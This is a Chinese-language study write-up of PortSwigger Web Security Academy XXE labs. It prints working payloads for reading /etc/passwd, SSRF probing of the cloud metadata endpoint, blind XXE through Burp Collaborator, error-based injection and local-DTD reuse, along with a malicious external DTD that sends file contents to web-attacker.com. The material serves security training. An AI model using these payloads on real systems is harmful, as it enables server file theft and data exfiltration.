BurpWeb安全學院之XXE
實驗室連結https://portswigger.net/web-security
XXE漏洞如何產生
一些應用程式使用XML格式在瀏覽器和伺服器之間傳輸資料.而伺服器端又沒有對XML資料進行很好的檢查,就可能產生XXE漏洞.
如: 某個網頁可能傳輸如下的資料
如果稍加修改:
利用XXE讀取檔案
要執行從伺服器的檔案系統中讀取任意檔案的XXE注入攻擊,需要修改兩處XML:
- 引入(或編輯)一個
DOCTYPE
元素,該元素定義一個包含檔案路徑的外部實體。 - 編輯應用程式響應中返回的XML中的資料值,以使用已定義的外部實體
例如,假設購物應用程式通過向伺服器提交以下XML來檢查產品的庫存:
<?xml version="1.0" encoding="UTF-8"?> <stockCheck><productId>381</productId></stockCheck>
正常情況下會返回:
如果稍加修改:
先引入一個xxe的外部實體,再修改相應值
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
就可以讀取檔案
利用XXE執行SSRF攻擊
除了檢索敏感資料外,XXE攻擊的另一個主要影響是,它們可用於執行伺服器端請求偽造(SSRF) ,
這可能導致伺服器端應用程式對伺服器可以訪問的任何URL發出HTTP請求
通過檢視請求相應判斷請求資源是否存在等.
操作方法也是先引入一個實體,再替換響應值:
如下:
引入實體探測內網: 探測http://169.254.169.254/時
說明我們請求的資源存在,返回了一個目錄的名稱latest
持續的請求最終可以讀取到檔案
XXE盲注檢測
前面兩種都是有回顯情況下的XXE注入,但實際上XXE漏洞的許多情況都是沒有回顯的.
這意味著應用程式不會在其響應中返回任何已定義外部實體的值,因此無法直接檢索伺服器端檔案
但是可以通過別的方法來間接檢測
檢測方法:
- 報錯注入
- 與外網互動
通過Burpsuite的Collaborator可以測試XXE盲注
Burp Collaborator測試XXE盲注
具體使用可以參考 https://blog.csdn.net/fageweiketang/article/details/89073662
在BurpSuite專業版中.
開啟Collaborator Server
通過工具欄可以開啟
點選Copy to clipboard可以生成連線
類似xxx.burpcollaborator.net
當我們發現 存在疑似XXE漏洞,測試的時候只能看見"Invalid product ID"
我們修改為如下的XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://8luaz6s3evbr13tizib9fyhm8de32s.burpcollaborator.net"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
http://8luaz6s3evbr13tizib9fyhm8de32s.burpcollaborator.net是Burp Collaborator 生成的
可以發現在Collaborator 中的回顯,就證明確實存在XXE.對方對該域名進行了HTTP請求和DNS解析
外部實體引數被過濾
在這個實驗中,引入外部實體引數,發現被檢測出來
可以用以下情況繞過
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %xxe; ]>
XXE盲注利用
可以通過請求帶引數的方式將資料帶出到外網
如以下惡意的DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
- 定義名為的XML引數實體
file
,其中包含/etc/passwd
檔案的內容。 - 定義一個名為的XML引數實體
eval
,其中包含另一個名為的XML引數實體的動態宣告exfiltrate
。該exfiltrate
實體將通過使含有的值的HTTP請求到攻擊者的web伺服器進行評價file
URL查詢字串內的實體。 - 使用
eval
實體,這將導致exfiltrate
執行實體的動態宣告。 - 使用
exfiltrate
實體,以便通過請求指定的URL得到檔案內容。
這樣通過檢視日誌就可以檢視到檔案內容
上面的DTD必須託管在DTD平臺,因為外部DTD允許我們在第二個實體中包含一個實體,但它在內部DTD中被禁止
http://web-attacker.com/malicious.dtd 的內容為
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
payload:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
如 抓到以下包後
我們在 http://accd1f0c1f3e93218058065a014f00db.web-security-academy.net/test.dtd 託管如下內容
裡面的連結為Burp Collaborator連結
然後修改包為:
可以在Collaborator裡面看到返回的資料
x就是/etc/hostname 檔案下的內容(也可能是第一行,多行情況下可以用其他協議)
XXE報錯注入
XXE盲注的另一種思路是讓XML解析器報錯
錯誤訊息可能包含敏感資料
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
- 定義名為的XML引數實體
file
,其中包含/etc/passwd
檔案的內容。 - 定義一個名為的XML引數實體
eval
,其中包含另一個名為的XML引數實體的動態宣告error
。該error
實體將通過載入一個不存在的檔名稱中包含的價值進行評估file
實體。 - 使用
eval
實體,這將導致error
執行實體的動態宣告。 - 使用該
error
實體,以便通過嘗試載入不存在的檔案來,從而產生一條錯誤訊息,其中包含該不存在的檔案的名稱,即檔案的內容/etc/passwd
將以上內容託管到http://web-attacker.com/malicious.dtd
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
可以現在託管平臺下託管如下資料: (連結 https://ac7a1fe31fca4a0c80687b1101e600ac.web-security-academy.net/1.dtd )
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid123456aaaaa/%file;'>">
%eval;
%exfil;
將抓到的如下包
修改為:
利用本地DTD的XXE盲注
詳細原理以及利用場景: https://www.freebuf.com/articles/web/195899.html
在伺服器防火牆阻止外部DTD引用,我們就無法像以上那樣進行XXE盲注.
這時候可以 在目標主機上強制執行本地dtd檔案 , 並在其中重新定義一些引數實體引用
例如,假設伺服器檔案系統上該位置有一個DTD檔案/usr/local/app/schema.dtd
,並且此DTD檔案定義了一個名為custom_entity
的實體,攻擊者可以重新定義custom_entity
來進行儲存的XXE注入
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
該DTD執行以下步驟:
- 定義一個實體引數
local_dtd
,引用內部的DTD檔案 - 重新定義名為
custom_entity
的XML引數實體,構造基於錯誤的XXE盲注 - 使用
local_dtd
這樣就構造了基於錯誤的XXE盲注
由於此XXE攻擊涉及重新利用伺服器檔案系統上的現有DTD,因此關鍵的要求是找到合適的檔案 .
可以用一些框架固定的dtd檔案,可以通過是否儲存判斷DTD檔案是否存在
例如,使用GNOME桌面環境的Linux系統通常在DTD檔案/usr/share/yelp/dtd/docbookx.dtd
用以下payload能判斷該檔案是否存在
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
固定的DTD位置:
- linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
- Windows
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
在 https://www.freebuf.com/articles/web/195899.html 最後有很多這樣的例子
下面是利用 GNOME桌面環境 下的 /usr/share/yelp/dtd/docbookx.dtd
進行XXE盲注
在docbookx.dtd
中有預定義的實體引數ISOamso
,重新定義ISOamso
即可
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
抓到如下包
可以修改為:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>
">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>